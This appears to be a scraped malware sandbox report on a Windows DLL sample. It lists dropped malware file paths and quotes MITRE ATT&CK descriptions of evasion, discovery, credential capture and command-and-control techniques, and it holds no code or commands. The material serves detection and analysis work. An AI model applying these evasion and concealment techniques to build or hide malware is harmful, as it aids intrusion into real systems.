Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IU28r0EZFA.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml (copy)

C:\ProgramData\USOPrivate\UpdateStore\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml

C:\WINDOWS\qeriuwjhrf (copy)

C:\Windows\Logs\waasmedic\waasmedic.20221222_180332_622.etl

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\eee.exe

C:\Windows\mssecsvr.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Windows Analysis Report
IU28r0EZFA.dll

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre